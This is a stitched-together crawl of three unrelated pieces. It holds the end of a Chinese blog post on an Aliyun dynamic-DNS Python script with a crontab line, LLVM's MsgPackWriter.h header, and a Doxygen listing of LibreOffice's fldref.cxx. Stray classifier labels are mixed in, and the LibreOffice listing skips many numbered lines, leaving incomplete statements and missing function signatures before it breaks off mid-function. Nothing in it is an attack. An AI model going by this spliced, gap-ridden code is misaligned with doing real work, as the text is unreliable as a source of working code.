current_script_path = sys.path[1]
log_file = current_script_path + '/' + 'aliyun_ddns_log.txt'
write = open(log_file, 'a')
write.write(time_now + ' ' + str(rc_value) + '\n')
write.close()
return
if i_dont_know_record_id == 'yes':
check_records(rc_domain)
elif i_dont_know_record_id == 'no':
rc_value = my_ip_method_3()
rc_value_old = old_ip()
if rc_value_old == rc_value:
print('The specified value of parameter Value is the same as old')
else:
print(update_dns(rc_rr, rc_type, rc_value, rc_record_id, rc_ttl, rc_format))
write_to_file()
可能因为ip.cn这个站点收到攻击，他们的服务目前不太稳定，请使用my_ip_method_2或my_ip_method_3这两种本地IP的获取方式。
修改第117行即可修改本地IP的获取方式。
0x07 运行
将程序通过crontab每分钟运行一次，请将脚本路径修改为你的实际路径：
*/1 * * * * root /usr/bin/python2.7 /usr/local/shell/aliyun_ddns.py > /dev/null 1>/dev/null
0x08 结语
其实这个脚本也可以更新其他类型的DNS记录，例如：CNAME，TXT等，只要知道解析记录ID即可。
经过近3天的运行，一切正常。 | __label__pos | 0.968458 |
1//===- MsgPackWriter.h - Simple MsgPack writer ------------------*- C++ -*-===//
2//
3// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.
4// See https://llvm.org/LICENSE.txt for license information.
5// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception
6//
7//===----------------------------------------------------------------------===//
8///
9/// \file
10/// This file contains a MessagePack writer.
11///
12/// See https://github.com/msgpack/msgpack/blob/master/spec.md for the full
13/// specification.
14///
15/// Typical usage:
16/// \code
17/// raw_ostream output = GetOutputStream();
18/// msgpack::Writer MPWriter(output);
19/// MPWriter.writeNil();
20/// MPWriter.write(false);
21/// MPWriter.write("string");
22/// // ...
23/// \endcode
24///
25///
26//===----------------------------------------------------------------------===//
27
28#ifndef LLVM_BINARYFORMAT_MSGPACKWRITER_H
29#define LLVM_BINARYFORMAT_MSGPACKWRITER_H
30
31#include "llvm/BinaryFormat/MsgPack.h"
32#include "llvm/Support/EndianStream.h"
33#include "llvm/Support/MemoryBuffer.h"
34#include "llvm/Support/raw_ostream.h"
35
36namespace llvm {
37namespace msgpack {
38
39/// Writes MessagePack objects to an output stream, one at a time.
40class Writer {
41public:
42 /// Construct a writer, optionally enabling "Compatibility Mode" as defined
43 /// in the MessagePack specification.
44 ///
45 /// When in \p Compatible mode, the writer will write \c Str16 formats
46 /// instead of \c Str8 formats, and will refuse to write any \c Bin formats.
47 ///
48 /// \param OS stream to output MessagePack objects to.
49 /// \param Compatible when set, write in "Compatibility Mode".
50 Writer(raw_ostream &OS, bool Compatible = false);
51
52 Writer(const Writer &) = delete;
53 Writer &operator=(const Writer &) = delete;
54
55 /// Write a \em Nil to the output stream.
56 ///
57 /// The output will be the \em nil format.
58 void writeNil();
59
60 /// Write a \em Boolean to the output stream.
61 ///
62 /// The output will be a \em bool format.
63 void write(bool b);
64
65 /// Write a signed integer to the output stream.
66 ///
67 /// The output will be in the smallest possible \em int format.
68 ///
69 /// The format chosen may be for an unsigned integer.
70 void write(int64_t i);
71
72 /// Write an unsigned integer to the output stream.
73 ///
74 /// The output will be in the smallest possible \em int format.
75 void write(uint64_t u);
76
77 /// Write a floating point number to the output stream.
78 ///
79 /// The output will be in the smallest possible \em float format.
80 void write(double d);
81
82 /// Write a string to the output stream.
83 ///
84 /// The output will be in the smallest possible \em str format.
85 void write(StringRef s);
86
87 /// Write a memory buffer to the output stream.
88 ///
89 /// The output will be in the smallest possible \em bin format.
90 ///
91 /// \warning Do not use this overload if in \c Compatible mode.
92 void write(MemoryBufferRef Buffer);
93
94 /// Write the header for an \em Array of the given size.
95 ///
96 /// The output will be in the smallest possible \em array format.
97 //
98 /// The header contains an identifier for the \em array format used, as well
99 /// as an encoding of the size of the array.
100 ///
101 /// N.B. The caller must subsequently call \c Write an additional \p Size
102 /// times to complete the array.
103 void writeArraySize(uint32_t Size);
104
105 /// Write the header for a \em Map of the given size.
106 ///
107 /// The output will be in the smallest possible \em map format.
108 //
109 /// The header contains an identifier for the \em map format used, as well
110 /// as an encoding of the size of the map.
111 ///
112 /// N.B. The caller must subsequently call \c Write and additional \c Size*2
113 /// times to complete the map. Each even numbered call to \c Write defines a
114 /// new key, and each odd numbered call defines the previous key's value.
115 void writeMapSize(uint32_t Size);
116
117 /// Write a typed memory buffer (an extension type) to the output stream.
118 ///
119 /// The output will be in the smallest possible \em ext format.
120 void writeExt(int8_t Type, MemoryBufferRef Buffer);
121
122private:
123 support::endian::Writer EW;
124 bool Compatible;
125};
126
127} // end namespace msgpack
128} // end namespace llvm
129
130#endif // LLVM_BINARYFORMAT_MSGPACKWRITER_H
131 | __label__pos | 0.937465 |
LibreOffice Module sw (master) 1
fldref.cxx
Go to the documentation of this file.
1 /* -*- Mode: C++; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
2 /*
3 * This file is part of the LibreOffice project.
4 *
5 * This Source Code Form is subject to the terms of the Mozilla Public
6 * License, v. 2.0. If a copy of the MPL was not distributed with this
7 * file, You can obtain one at http://mozilla.org/MPL/2.0/.
8 *
9 * This file incorporates work covered by the following license notice:
10 *
11 * Licensed to the Apache Software Foundation (ASF) under one or more
12 * contributor license agreements. See the NOTICE file distributed
13 * with this work for additional information regarding copyright
14 * ownership. The ASF licenses this file to you under the Apache
15 * License, Version 2.0 (the "License"); you may not use this file
16 * except in compliance with the License. You may obtain a copy of
17 * the License at http://www.apache.org/licenses/LICENSE-2.0 .
18 */
19
20 #include <swtypes.hxx>
21 #include <view.hxx>
22 #include <IMark.hxx>
23 #include <expfld.hxx>
24 #include <swmodule.hxx>
25 #include "fldref.hxx"
26 #include <reffld.hxx>
27 #include <wrtsh.hxx>
28
29 #include <fldref.hrc>
30 #include <globals.hrc>
31 #include <strings.hrc>
32 #include <SwNodeNum.hxx>
33 #include <IDocumentMarkAccess.hxx>
34 #include <ndtxt.hxx>
35 #include <unotools/configmgr.hxx>
37 #include <unotools/charclass.hxx>
38
39 #include <comphelper/string.hxx>
40
41 #define REFFLDFLAG 0x4000
42 #define REFFLDFLAG_BOOKMARK 0x4800
43 #define REFFLDFLAG_FOOTNOTE 0x5000
44 #define REFFLDFLAG_ENDNOTE 0x6000
45 // #i83479#
46 #define REFFLDFLAG_HEADING 0x7100
47 #define REFFLDFLAG_NUMITEM 0x7200
48
49 static sal_uInt16 nFieldDlgFormatSel = 0;
50
51 #define USER_DATA_VERSION_1 "1"
52 #define USER_DATA_VERSION USER_DATA_VERSION_1
53
55 : SwFieldPage(pPage, pController, "modules/swriter/ui/fldrefpage.ui", "FieldRefPage", pCoreSet)
56 , maOutlineNodes()
57 , maNumItems()
58 , mpSavedSelectedTextNode(nullptr)
59 , mnSavedSelectedPos(0)
60 , m_xTypeLB(m_xBuilder->weld_tree_view("type"))
61 , m_xSelection(m_xBuilder->weld_widget("selectframe"))
62 , m_xSelectionLB(m_xBuilder->weld_tree_view("select"))
63 , m_xSelectionToolTipLB(m_xBuilder->weld_tree_view("selecttip"))
64 , m_xFormat(m_xBuilder->weld_widget("formatframe"))
65 , m_xFormatLB(m_xBuilder->weld_tree_view("format"))
66 , m_xNameFT(m_xBuilder->weld_label("nameft"))
67 , m_xNameED(m_xBuilder->weld_entry("name"))
68 , m_xValueED(m_xBuilder->weld_entry("value"))
69 , m_xFilterED(m_xBuilder->weld_entry("filter"))
70 {
71 m_xSelectionLB->make_sorted();
72 // #i83479#
73 for (size_t i = 0; i < SAL_N_ELEMENTS(FLD_REF_PAGE_TYPES); ++i)
74 {
75 m_xTypeLB->append_text(SwResId(FLD_REF_PAGE_TYPES[i]));
76 m_xFormatLB->append_text(SwResId(FLD_REF_PAGE_TYPES[i]));
77 }
78
79 sBookmarkText = m_xTypeLB->get_text(0);
80 sFootnoteText = m_xTypeLB->get_text(1);
81 sEndnoteText = m_xTypeLB->get_text(2);
82 // #i83479#
83 sHeadingText = m_xTypeLB->get_text(3);
84 sNumItemText = m_xTypeLB->get_text(4);
85
86 auto nHeight = m_xTypeLB->get_height_rows(8);
87 auto nWidth = m_xTypeLB->get_approximate_digit_width() * FIELD_COLUMN_WIDTH;
88 m_xTypeLB->set_size_request(nWidth, nHeight);
89 m_xFormatLB->set_size_request(nWidth, nHeight);
90 m_xSelection->set_size_request(nWidth * 2, nHeight);
91 nHeight = m_xTypeLB->get_height_rows(20);
92 m_xSelectionToolTipLB->set_size_request(nHeight, nWidth*2);
93
94 m_xTypeLB->clear();
95
96 m_xNameED->connect_changed(LINK(this, SwFieldRefPage, ModifyHdl));
97 m_xFilterED->connect_changed( LINK( this, SwFieldRefPage, ModifyHdl_Impl ) );
98
99 m_xTypeLB->connect_row_activated(LINK(this, SwFieldRefPage, TreeViewInsertHdl));
100 m_xTypeLB->connect_changed(LINK(this, SwFieldRefPage, TypeHdl));
101 m_xSelectionLB->connect_changed(LINK(this, SwFieldRefPage, SubTypeListBoxHdl));
102 m_xSelectionLB->connect_row_activated(LINK(this, SwFieldRefPage, TreeViewInsertHdl));
103 m_xFormatLB->connect_row_activated(LINK(this, SwFieldRefPage, TreeViewInsertHdl));
104
105 // #i83479#
106 m_xSelectionToolTipLB->connect_changed( LINK(this, SwFieldRefPage, SubTypeTreeListBoxHdl) );
107 m_xSelectionToolTipLB->connect_row_activated( LINK(this, SwFieldRefPage, TreeViewInsertHdl) );
108 m_xFilterED->grab_focus();
109 }
110
112 {
113 }
114
116 {
117 UpdateSubType(comphelper::string::strip(m_xFilterED->get_text(), ' '));
118 }
119
120 // #i83479#
122 {
123 mpSavedSelectedTextNode = nullptr;
124 mnSavedSelectedPos = 0;
125 if ( m_xSelectionToolTipLB->get_visible() )
126 {
127 int nEntry = m_xSelectionToolTipLB->get_selected_index();
128 if (nEntry != -1)
129 {
130 const sal_uInt16 nTypeId = m_xTypeLB->get_id(GetTypeSel()).toUInt32();
131
132 if ( nTypeId == REFFLDFLAG_HEADING )
133 {
134 mnSavedSelectedPos = m_xSelectionToolTipLB->get_id(nEntry).toUInt32();
135 if ( mnSavedSelectedPos < maOutlineNodes.size() )
136 {
138 }
139 }
140 else if ( nTypeId == REFFLDFLAG_NUMITEM )
141 {
142 mnSavedSelectedPos = m_xSelectionToolTipLB->get_id(nEntry).toUInt32();
143 if ( mnSavedSelectedPos < maNumItems.size() )
144 {
146 }
147 }
148 }
149 }
150 }
151
153 {
154 if (!IsFieldEdit())
155 {
156 SavePos(*m_xTypeLB);
157 // #i83479#
159 }
160 SetSelectionSel(-1);
161 SetTypeSel(-1);
162 Init(); // general initialisation
163
164 // initialise TypeListBox
165 m_xTypeLB->freeze();
166 m_xTypeLB->clear();
167
168 // fill Type-Listbox
169
170 // set/insert reference
172
173 for (short i = rRg.nStart; i < rRg.nEnd; ++i)
174 {
175 const SwFieldTypesEnum nTypeId = SwFieldMgr::GetTypeId(i);
176
177 if (!IsFieldEdit() || nTypeId != SwFieldTypesEnum::SetRef)
178 {
179 m_xTypeLB->append(OUString::number(static_cast<sal_uInt16>(nTypeId)), SwFieldMgr::GetTypeStr(i));
180 }
181 }
182
183 // #i83479#
184 // entries for headings and numbered items
185 m_xTypeLB->append(OUString::number(REFFLDFLAG_HEADING), sHeadingText);
186 m_xTypeLB->append(OUString::number(REFFLDFLAG_NUMITEM), sNumItemText);
187
188 // fill up with the sequence types
189 SwWrtShell *pSh = GetWrtShell();
190 if (!pSh)
191 pSh = ::GetActiveWrtShell();
192
193 if (!pSh)
194 return;
195
196 const size_t nFieldTypeCnt = pSh->GetFieldTypeCount(SwFieldIds::SetExp);
197
198 OSL_ENSURE( nFieldTypeCnt < static_cast<size_t>(REFFLDFLAG), "<SwFieldRefPage::Reset> - Item index will overlap flags!" );
199
200 for (size_t n = 0; n < nFieldTypeCnt; ++n)
201 {
203
204 if ((nsSwGetSetExpType::GSE_SEQ & pType->GetType()) && pType->HasWriterListeners() && pSh->IsUsed(*pType))
205 {
206 m_xTypeLB->append(OUString::number(REFFLDFLAG | n), pType->GetName());
207 }
208 }
209
210 // text marks - now always (because of globaldocuments)
211 m_xTypeLB->append(OUString::number(REFFLDFLAG_BOOKMARK), sBookmarkText);
212
213 // footnotes:
214 if( pSh->HasFootnotes() )
215 {
216 m_xTypeLB->append(OUString::number(REFFLDFLAG_FOOTNOTE), sFootnoteText);
217 }
218
219 // endnotes:
220 if ( pSh->HasFootnotes(true) )
221 {
222 m_xTypeLB->append(OUString::number(REFFLDFLAG_ENDNOTE), sEndnoteText);
223 }
224
225 m_xTypeLB->thaw();
226
227 // select old Pos
228 if (!IsFieldEdit())
230
231 nFieldDlgFormatSel = 0;
232
233 sal_uInt16 nFormatBoxPosition = USHRT_MAX;
234 if( !IsRefresh() )
235 {
236 sal_Int32 nIdx{ 0 };
237 const OUString sUserData = GetUserData();
238 if(!IsRefresh() && sUserData.getToken(0, ';', nIdx).
239 equalsIgnoreAsciiCase(USER_DATA_VERSION_1))
240 {
241 const sal_uInt16 nVal = static_cast< sal_uInt16 >(sUserData.getToken(0, ';', nIdx).toInt32());
242 if(nVal != USHRT_MAX)
243 {
244 for(sal_Int32 i = 0, nEntryCount = m_xTypeLB->n_children(); i < nEntryCount; ++i)
245 {
246 if (nVal == m_xTypeLB->get_id(i).toUInt32())
247 {
248 m_xTypeLB->select(i);
249 break;
250 }
251 }
252 if (nIdx>=0 && nIdx<sUserData.getLength())
253 {
254 nFormatBoxPosition = static_cast< sal_uInt16 >(sUserData.getToken(0, ';', nIdx).toInt32());
255 }
256 }
257 }
258 }
259 TypeHdl(*m_xTypeLB);
260 if (nFormatBoxPosition < m_xFormatLB->n_children())
261 {
262 m_xFormatLB->select(nFormatBoxPosition);
263 }
264 if (IsFieldEdit())
265 {
266 m_xTypeLB->save_value();
267 m_xSelectionLB->save_value();
268 m_xFormatLB->save_value();
269 m_xNameED->save_value();
270 m_xValueED->save_value();
271 m_xFilterED->set_text(OUString());
272 }
273 }
274
276 {
277 // save old ListBoxPos
278 const sal_Int32 nOld = GetTypeSel();
279
280 // current ListBoxPos
281 SetTypeSel(m_xTypeLB->get_selected_index());
282
283 if(GetTypeSel() == -1)
284 {
285 if (IsFieldEdit())
286 {
287 // select positions
288 OUString sName;
289 sal_uInt16 nFlag = 0;
290
291 switch( GetCurField()->GetSubType() )
292 {
293 case REF_BOOKMARK:
294 {
295 // #i83479#
296 SwGetRefField* pRefField = dynamic_cast<SwGetRefField*>(GetCurField());
297 if ( pRefField &&
298 pRefField->IsRefToHeadingCrossRefBookmark() )
299 {
300 sName = sHeadingText;
301 nFlag = REFFLDFLAG_HEADING;
302 }
303 else if ( pRefField &&
304 pRefField->IsRefToNumItemCrossRefBookmark() )
305 {
306 sName = sNumItemText;
307 nFlag = REFFLDFLAG_NUMITEM;
308 }
309 else
310 {
311 sName = sBookmarkText;
312 nFlag = REFFLDFLAG_BOOKMARK;
313 }
314 }
315 break;
316
317 case REF_FOOTNOTE:
318 sName = sFootnoteText;
319 nFlag = REFFLDFLAG_FOOTNOTE;
320 break;
321
322 case REF_ENDNOTE:
323 sName = sEndnoteText;
324 nFlag = REFFLDFLAG_ENDNOTE;
325 break;
326
327 case REF_SETREFATTR:
328 sName = SwResId(STR_GETREFFLD);
329 nFlag = REF_SETREFATTR;
330 break;
331
332 case REF_SEQUENCEFLD:
333 sName = static_cast<SwGetRefField*>(GetCurField())->GetSetRefName();
334 nFlag = REFFLDFLAG;
335 break;
336 }
337
338 if (m_xTypeLB->find_text(sName) == -1) // reference to deleted mark
339 {
340 m_xTypeLB->append(OUString::number(nFlag), sName);
341 }
342
343 m_xTypeLB->select_text(sName);
344 SetTypeSel(m_xTypeLB->get_selected_index());
345 }
346 else
347 {
348 SetTypeSel(0);
349 m_xTypeLB->select(0);
350 }
351 }
352
353 if (nOld == GetTypeSel())
354 return;
355
356 sal_uInt16 nTypeId = m_xTypeLB->get_id(GetTypeSel()).toUInt32();
357
358 // fill selection-ListBox
359 UpdateSubType(comphelper::string::strip(m_xFilterED->get_text(), ' '));
360
361 bool bName = false;
362 nFieldDlgFormatSel = 0;
363
364 if ( ( !IsFieldEdit() || m_xSelectionLB->n_children() ) &&
365 nOld != -1 )
366 {
367 m_xNameED->set_text(OUString());
368 m_xValueED->set_text(OUString());
369 m_xFilterED->set_text(OUString());
370 }
371
372 switch (nTypeId)
373 {
374 case static_cast<sal_uInt16>(SwFieldTypesEnum::GetRef):
375 if (nOld != -1 && REFFLDFLAG & m_xTypeLB->get_id(nOld).toUInt32())
376 // the old one stays
377 nFieldDlgFormatSel = m_xFormatLB->get_selected_index();
378 bName = true;
379 break;
380
381 case static_cast<sal_uInt16>(SwFieldTypesEnum::SetRef):
382 bName = true;
383 break;
384
385 case REFFLDFLAG_BOOKMARK:
386 bName = true;
387 [[fallthrough]];
388 default:
389 if( REFFLDFLAG & nTypeId )
390 {
391 const sal_uInt16 nOldId = nOld != -1 ? m_xTypeLB->get_id(nOld).toUInt32() : 0;
392 if( nOldId & REFFLDFLAG || nOldId == static_cast<sal_uInt16>(SwFieldTypesEnum::GetRef) )
393 // then the old one stays
394 nFieldDlgFormatSel = m_xFormatLB->get_selected_index();
395 }
396 break;
397 }
398
399 m_xNameED->set_sensitive(bName);
400 m_xNameFT->set_sensitive(bName);
401
402 // fill Format-Listbox
403 sal_Int32 nSize = FillFormatLB(nTypeId);
404 bool bFormat = nSize != 0;
405 m_xFormat->set_sensitive(bFormat);
406
407 SubTypeHdl();
408 ModifyHdl(*m_xNameED);
409 ModifyHdl(*m_xFilterED);
410 }
411
412 IMPL_LINK_NOARG(SwFieldRefPage, SubTypeTreeListBoxHdl, weld::TreeView&, void)
413 {
414 SubTypeHdl();
415 }
416
417 IMPL_LINK_NOARG(SwFieldRefPage, SubTypeListBoxHdl, weld::TreeView&, void)
418 {
419 SubTypeHdl();
420 }
421
423 {
424 sal_uInt16 nTypeId = m_xTypeLB->get_id(GetTypeSel()).toUInt32();
425
426 switch(nTypeId)
427 {
428 case static_cast<sal_uInt16>(SwFieldTypesEnum::GetRef):
429 if (!IsFieldEdit() || m_xSelectionLB->get_selected_index() != -1)
430 {
431 m_xNameED->set_text(m_xSelectionLB->get_selected_text());
432 ModifyHdl(*m_xNameED);
433 }
434 break;
435
436 case static_cast<sal_uInt16>(SwFieldTypesEnum::SetRef):
437 {
438 SwWrtShell *pSh = GetWrtShell();
439 if(!pSh)
440 pSh = ::GetActiveWrtShell();
441 if(pSh)
442 {
443 m_xValueED->set_text(pSh->GetSelText());
444 }
445
446 }
447 break;
448 // #i83479#
449 case REFFLDFLAG_HEADING:
450 case REFFLDFLAG_NUMITEM:
451 {
452 int nEntry = m_xSelectionToolTipLB->get_selected_index();
453 if (nEntry != -1)
454 m_xNameED->set_text(m_xSelectionToolTipLB->get_text(nEntry));
455 }
456 break;
457
458 default:
459 if (!IsFieldEdit() || m_xSelectionLB->get_selected_index() != -1)
460 m_xNameED->set_text(m_xSelectionLB->get_selected_text());
461 break;
462 }
463 }
464
465 // renew types in SelectionLB after filtering
466 void SwFieldRefPage::UpdateSubType(const OUString& filterString)
467 {
468 SwWrtShell *pSh = GetWrtShell();
469 if(!pSh)
470 pSh = ::GetActiveWrtShell();
471 SwGetRefField* pRefField = static_cast<SwGetRefField*>(GetCurField());
472 const sal_uInt16 nTypeId = m_xTypeLB->get_id(GetTypeSel()).toUInt32();
473
474 OUString sOldSel;
475 // #i83479#
476 if ( m_xSelectionLB->get_visible() )
477 {
478 const sal_Int32 nSelectionSel = m_xSelectionLB->get_selected_index();
479 if (nSelectionSel != -1)
480 sOldSel = m_xSelectionLB->get_text(nSelectionSel);
481 }
482 if (IsFieldEdit() && sOldSel.isEmpty())
483 sOldSel = OUString::number( pRefField->GetSeqNo() + 1 );
484
485 m_xSelectionLB->freeze();
486 m_xSelectionLB->clear();
487
488 if (REFFLDFLAG & nTypeId)
489 {
490 if (nTypeId == REFFLDFLAG_FOOTNOTE || nTypeId == REFFLDFLAG_ENDNOTE)
491 {
492 m_xSelectionLB->thaw();
493 m_xSelectionLB->make_unsorted();
494 m_xSelectionLB->freeze();
495 }
496 // #i83479#
497 else if (nTypeId != REFFLDFLAG_HEADING && nTypeId != REFFLDFLAG_NUMITEM)
498 {
499 m_xSelectionLB->thaw();
500 m_xSelectionLB->make_sorted();
501 m_xSelectionLB->freeze();
502 }
503 }
504
505 // #i83479#
506 m_xSelectionToolTipLB->freeze();
507 m_xSelectionToolTipLB->clear();
508 OUString m_sSelectionToolTipLBId;
509 bool bShowSelectionToolTipLB( false );
510
511 if( REFFLDFLAG & nTypeId )
512 {
513 if (nTypeId == REFFLDFLAG_BOOKMARK) // text marks!
514 {
515 // get all text marks
516 IDocumentMarkAccess* const pMarkAccess = pSh->getIDocumentMarkAccess();
517 for(IDocumentMarkAccess::const_iterator_t ppMark = pMarkAccess->getBookmarksBegin();
518 ppMark != pMarkAccess->getBookmarksEnd();
519 ++ppMark)
520 {
521 const ::sw::mark::IMark* pBkmk = *ppMark;
523 {
524 bool isSubstring = MatchSubstring(pBkmk->GetName(), filterString);
525 if(isSubstring)
526 {
527 m_xSelectionLB->append_text( pBkmk->GetName() );
528 }
529 }
530 }
531 if (IsFieldEdit())
532 sOldSel = pRefField->GetSetRefName();
533 }
534 else if (nTypeId == REFFLDFLAG_FOOTNOTE)
535 {
537 const size_t nCnt = pSh->GetSeqFootnoteList( aArr );
538
539 for( size_t n = 0; n < nCnt; ++n )
540 {
541 bool isSubstring = MatchSubstring(aArr[ n ].sDlgEntry, filterString);
542 if(isSubstring)
543 {
544 m_xSelectionLB->append_text( aArr[ n ].sDlgEntry );
545 }
546 if (IsFieldEdit() && pRefField->GetSeqNo() == aArr[ n ].nSeqNo)
547 sOldSel = aArr[n].sDlgEntry;
548 }
549 }
550 else if (nTypeId == REFFLDFLAG_ENDNOTE)
551 {
553 const size_t nCnt = pSh->GetSeqFootnoteList( aArr, true );
554
555 for( size_t n = 0; n < nCnt; ++n )
556 {
557 bool isSubstring = MatchSubstring(aArr[ n ].sDlgEntry, filterString);
558 if(isSubstring)
559 {
560 m_xSelectionLB->append_text( aArr[ n ].sDlgEntry );
561 }
562 if (IsFieldEdit() && pRefField->GetSeqNo() == aArr[ n ].nSeqNo)
563 sOldSel = aArr[n].sDlgEntry;
564 }
565 }
566 // #i83479#
567 else if ( nTypeId == REFFLDFLAG_HEADING )
568 {
569 bShowSelectionToolTipLB = true;
570
573 bool bCertainTextNodeSelected( false );
574 for ( size_t nOutlIdx = 0; nOutlIdx < maOutlineNodes.size(); ++nOutlIdx )
575 {
576 if (!pIDoc->isOutlineInLayout(nOutlIdx, *pSh->GetLayout()))
577 {
578 continue; // skip it
579 }
580 bool isSubstring = MatchSubstring(pIDoc->getOutlineText(nOutlIdx, pSh->GetLayout(), true, true, false), filterString);
581 if(isSubstring)
582 {
583 OUString sId(OUString::number(nOutlIdx));
584 m_xSelectionToolTipLB->append(sId,
585 pIDoc->getOutlineText(nOutlIdx, pSh->GetLayout(), true, true, false));
586 if ( ( IsFieldEdit() &&
587 pRefField->GetReferencedTextNode() == maOutlineNodes[nOutlIdx] ) ||
589 {
590 m_sSelectionToolTipLBId = sId;
591 sOldSel.clear();
592 bCertainTextNodeSelected = true;
593 }
594 else if ( !bCertainTextNodeSelected && mnSavedSelectedPos == nOutlIdx )
595 {
596 m_sSelectionToolTipLBId = sId;
597 sOldSel.clear();
598 }
599 }
600 }
601 }
602 else if ( nTypeId == REFFLDFLAG_NUMITEM )
603 {
604 bShowSelectionToolTipLB = true;
605
606 const IDocumentListItems* pIDoc( pSh->getIDocumentListItemsAccess() );
607 pIDoc->getNumItems( maNumItems );
608 bool bCertainTextNodeSelected( false );
609 for ( size_t nNumItemIdx = 0; nNumItemIdx < maNumItems.size(); ++nNumItemIdx )
610 {
611 if (!pIDoc->isNumberedInLayout(*maNumItems[nNumItemIdx], *pSh->GetLayout()))
612 {
613 continue; // skip it
614 }
615 bool isSubstring = MatchSubstring(pIDoc->getListItemText(*maNumItems[nNumItemIdx], *pSh->GetLayout()), filterString);
616 if(isSubstring)
617 {
618 OUString sId(OUString::number(nNumItemIdx));
619 m_xSelectionToolTipLB->append(sId,
620 pIDoc->getListItemText(*maNumItems[nNumItemIdx], *pSh->GetLayout()));
621 if ( ( IsFieldEdit() &&
622 pRefField->GetReferencedTextNode() == maNumItems[nNumItemIdx]->GetTextNode() ) ||
623 mpSavedSelectedTextNode == maNumItems[nNumItemIdx]->GetTextNode() )
624 {
625 m_sSelectionToolTipLBId = sId;
626 sOldSel.clear();
627 bCertainTextNodeSelected = true;
628 }
629 else if ( !bCertainTextNodeSelected && mnSavedSelectedPos == nNumItemIdx )
630 {
631 m_sSelectionToolTipLBId = sId;
632 sOldSel.clear();
633 }
634 }
635 }
636 }
637 else
638 {
639 // get the fields to Seq-FieldType:
640
641 SwSetExpFieldType* pType = static_cast<SwSetExpFieldType*>(pSh->GetFieldType(
642 nTypeId & ~REFFLDFLAG, SwFieldIds::SetExp ));
643 if( pType )
644 {
646 // old selection should be kept in non-edit mode
647 if(IsFieldEdit())
648 sOldSel.clear();
649
650 const size_t nCnt = pType->GetSeqFieldList(aArr, pSh->GetLayout());
651 for( size_t n = 0; n < nCnt; ++n )
652 {
653 bool isSubstring = MatchSubstring(aArr[ n ].sDlgEntry, filterString);
654 if(isSubstring)
655 {
656 m_xSelectionLB->append_text( aArr[ n ].sDlgEntry );
657 }
658 if (IsFieldEdit() && sOldSel.isEmpty() &&
659 aArr[ n ].nSeqNo == pRefField->GetSeqNo())
660 sOldSel = aArr[ n ].sDlgEntry;
661 }
662
663 if (IsFieldEdit() && sOldSel.isEmpty())
664 sOldSel = OUString::number( pRefField->GetSeqNo() + 1);
665 }
666 }
667 }
668 else
669 {
670 std::vector<OUString> aLst;
671 GetFieldMgr().GetSubTypes(static_cast<SwFieldTypesEnum>(nTypeId), aLst);
672 for(const OUString & i : aLst)
673 {
674 bool isSubstring = MatchSubstring( i , filterString );
675 if(isSubstring)
676 {
677 m_xSelectionLB->append_text(i);
678 }
679 }
680
681 if (IsFieldEdit())
682 sOldSel = pRefField->GetSetRefName();
683 }
684
685 // #i83479#
686 m_xSelectionLB->thaw();
687 m_xSelectionToolTipLB->thaw();
688 if (!m_sSelectionToolTipLBId.isEmpty())
689 m_xSelectionToolTipLB->select_id(m_sSelectionToolTipLBId);
690 m_xSelectionToolTipLB->set_visible( bShowSelectionToolTipLB );
691 m_xSelectionLB->set_visible( !bShowSelectionToolTipLB );
692 if ( bShowSelectionToolTipLB )
693 {
694 bool bEnable = m_xSelectionToolTipLB->n_children() != 0;
695 m_xSelection->set_sensitive( bEnable );
696
697 int nEntry = m_xSelectionToolTipLB->get_selected_index();
698 if (nEntry != -1)
699 m_xSelectionToolTipLB->scroll_to_row(nEntry);
700
701 if (IsFieldEdit() && nEntry == -1)
702 {
703 m_xNameED->set_text(sOldSel);
704 }
705 }
706 else
707 {
708 // enable or disable
709 bool bEnable = m_xSelectionLB->n_children() != 0;
710 m_xSelection->set_sensitive( bEnable );
711
712 if ( bEnable )
713 {
714 m_xSelectionLB->select_text(sOldSel);
715 if (m_xSelectionLB->get_selected_index() == -1 && !IsFieldEdit())
716 m_xSelectionLB->select(0);
717 }
718
719 if (IsFieldEdit() && m_xSelectionLB->get_selected_index() == -1) // in case the reference was already deleted...
720 m_xNameED->set_text(sOldSel);
721 }
722 }
723
724 bool SwFieldRefPage::MatchSubstring( const OUString& rListString, const OUString& rSubstr )
725 {
726 if(rSubstr.isEmpty())
727 return true;
728 OUString aListString = GetAppCharClass().lowercase(rListString);
729 OUString aSubstr = GetAppCharClass().lowercase(rSubstr);
730 return aListString.indexOf(aSubstr) >= 0;
731 }
732
733 namespace {
734
736 {
737 FMT_REF_PAGE_IDX = 0,
738 FMT_REF_CHAPTER_IDX = 1,
739 FMT_REF_TEXT_IDX = 2,
740 FMT_REF_UPDOWN_IDX = 3,
741 FMT_REF_PAGE_PGDSC_IDX = 4,
742 FMT_REF_ONLYNUMBER_IDX = 5,
743 FMT_REF_ONLYCAPTION_IDX = 6,
744 FMT_REF_ONLYSEQNO_IDX = 7,
745 FMT_REF_NUMBER_IDX = 8,
746 FMT_REF_NUMBER_NO_CONTEXT_IDX = 9,
747 FMT_REF_NUMBER_FULL_CONTEXT_IDX = 10
748 };
749
750 }
751
752 static const char* FMT_REF_ARY[] =
753 {
754 FMT_REF_PAGE,
755 FMT_REF_CHAPTER,
756 FMT_REF_TEXT,
757 FMT_REF_UPDOWN,
758 FMT_REF_PAGE_PGDSC,
759 FMT_REF_ONLYNUMBER,
760 FMT_REF_ONLYCAPTION,
761 FMT_REF_ONLYSEQNO,
762 FMT_REF_NUMBER,
763 FMT_REF_NUMBER_NO_CONTEXT,
764 FMT_REF_NUMBER_FULL_CONTEXT
765 };
766
767 sal_Int32 SwFieldRefPage::FillFormatLB(sal_uInt16 nTypeId)
768 {
769 OUString sOldSel;
770
771 sal_Int32 nFormatSel = m_xFormatLB->get_selected_index();
772 if (nFormatSel != -1)
773 sOldSel = m_xFormatLB->get_text(nFormatSel);
774
775 // fill Format-Listbox
776 m_xFormatLB->clear();
777
778 // reference has less that the annotation
779 sal_uInt16 nSize( 0 );
780 bool bAddCrossRefFormats( false );
781 switch (nTypeId)
782 {
783 // #i83479#
784 case REFFLDFLAG_HEADING:
785 case REFFLDFLAG_NUMITEM:
786 bAddCrossRefFormats = true;
787 [[fallthrough]];
788
789 case static_cast<sal_uInt16>(SwFieldTypesEnum::GetRef):
790 case REFFLDFLAG_BOOKMARK:
791 case REFFLDFLAG_FOOTNOTE:
792 case REFFLDFLAG_ENDNOTE:
793 nSize = FMT_REF_PAGE_PGDSC_IDX + 1;
794 break;
795
796 default:
797 // #i83479#
798
